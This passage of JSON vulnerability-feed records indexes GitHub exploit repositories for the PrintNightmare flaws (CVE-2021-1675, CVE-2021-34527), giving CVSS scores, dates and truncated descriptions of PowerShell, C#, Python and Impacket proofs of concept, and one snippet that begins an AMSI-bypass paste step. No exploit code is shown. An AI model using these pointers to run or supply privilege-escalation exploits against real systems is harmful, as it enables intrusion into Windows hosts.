"userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-07T08:32:09", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2022-08-05T17:41:41", "id": "98CEA984-CF02-58F6-91D5-967F8D36F94A", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-18T09:15:44", "description": "<!DOCTYPE html>\n<html dir=\"rtl\" lang=\"fa-IR\">\n\n<head>\n\t<meta cha...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-30T18:32:17", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2022-07-27T07:12:56", "id": "4E279194-AC85-5607-A943-AC23EADADEF7", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-18T15:05:05", "description": "# CVE-2021-1675(PrintNightmare)\nsystem shell poc for CVE-2021-16...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-05T14:17:03", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2022-08-18T03:47:07", "id": "B3985759-BBD2-5956-860D-E6361564C262", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-15T21:31:23", "description": "# CVE-2021-1675 - PrintNightmare LPE (PowerShell)\n\n> Caleb Stewa...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-01T23:45:58", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2022-08-15T15:41:52", "id": "F1C20A6A-5492-50FE-BB94-25D35B1459EC", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:29:17", "description": "# CVE-2021-1675-Mitigation-For-Systems-That-Need-Spooler\nA tempo...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-02T21:18:11", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2021-10-24T04:59:14", "id": "2A12C3BB-2A75-5B33-AE9B-348DB656AC81", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-18T09:14:22", "description": "# Microsoft-CVE-2021-1675\n\nI have created a small C# project tha...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-16T18:06:05", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2022-04-20T11:31:25", "id": "645DABC8-04DA-51BF-A20F-68F611D2D666", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:35:44", "description": "# CVE-2021-1675-PrintNightmare\nWorking PowerShell POC\n\nPowershel...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-05T19:24:23", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2021-10-24T06:08:06", "id": "1883DF48-6A75-5743-AC93-56292D93A794", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-01-30T03:47:47", "description": "# CVE-2021-1675\n\nImpacket implementation of the [PrintNightmare ...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-01T12:24:19", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2022-01-30T02:59:13", "id": "FFBC2747-5957-57B1-9DD9-AB2BAFCB7BD6", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-04-15T19:34:33", "description": "# C# PrintNightmare (CVE-2021-1675)\n\nYou'll need a DLL to use Sh...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-26T20:46:23", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2022-04-15T13:58:04", "id": "9CC224C9-907A-5219-8EFD-A94F15DE0ADD", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-11-07T15:54:21", "description": "# cve-2021-1675\n#disble amsi: (copy into powershell)\nhttps://raw...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-10-25T06:47:20", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2022-10-25T06:55:39", "id": "EA908F34-E282-522D-A0C0-E6D40C0621CD", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:28:28", "description": "## \u3016EXP\u3017Ladon\u6253\u5370\u673a\u6f0f\u6d1e\u63d0\u6743CVE-2021-1675\u590d\u73b0\n\nhttp://k8gege.org/p/CVE-202...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-11T03:48:25", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2021-11-14T07:52:13", "id": "C6AE3BFC-9BBB-5327-8845-C88ABB6FEE40", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-07T03:16:37", "description": "# CVE-2021-1675_RDL_LPE\nPrintNightMare LPE\u63d0\u6743\u6f0f\u6d1e\u7684CS \u53cd\u5c04\u52a0\u8f7d\u63d2\u4ef6\u3002\u5f00\u7bb1\u5373\u7528\u3001\u901a\u8fc7...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-01T11:25:04", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2022-08-06T10:28:54", "id": "14B62DA4-FBC4-5B89-AB9F-9F8E3505AFAD", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:22:33", "description": "================================================================...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-03T01:04:06", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2021-10-24T06:03:36", "id": "3D6A6F0D-C38E-5819-A3A7-817A49825CBE", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-18T23:48:42", "description": "# PrintNightmare Local Privilege Escalation PoC \n\n src/nightmare...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-01-30T04:47:44", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2022-05-03T17:03:53", "id": "4749D0AA-8CE9-53E3-8EFF-E818FDC61B24", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2023-03-13T06:31:30", "description": "# CVE-2021-1675 LPE PoC\r\n\r\nnot my exploit! just wanted to play a...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-12-05T14:49:32", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2023-03-13T03:40:27", "id": "AD904001-0962-5826-AD78-253E0FB3B7B7", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2023-03-13T06:31:31", "description": "# CVE-2021-1675 LPE PoC\r\n\r\nnot my exploit! just wanted to play a...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-12-05T14:49:32", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2023-03-13T03:40:27", "id": "AF2B8EF5-A739-53BD-8B8D-04A8C441268C", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-27T17:02:41", "description": "# PrintNightmare\n\nPython implementation for PrintNightmare (CVE-...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-26T13:53:10", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-03-27T13:10:07", "id": "8EDE916A-F04B-59F0-A88D-13DEF969DC00", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:22:32", "description": "# Windows Print Spooler Service RCE CVE-2021-1675 (PrintNightmar...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-03T12:25:21", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-10-24T06:03:49", "id": "B8D9E2C0-202B-5806-88D2-B0E797582618", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-30T19:52:51", "description": "# CVE-2021-34527 - PrintNightmare LPE (PowerShell)\n\n> Caleb Stew...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-02T12:10:49", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-03-30T10:57:52", "id": "B03B4134-B4C9-5B2D-BA55-EEEA540389F4", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-07T23:15:44", "description": "# CVE-2021-1675-LPE-EXP\n**Simple LPE Exploit of CVE-2021-1675** ...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-01T09:00:31", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": 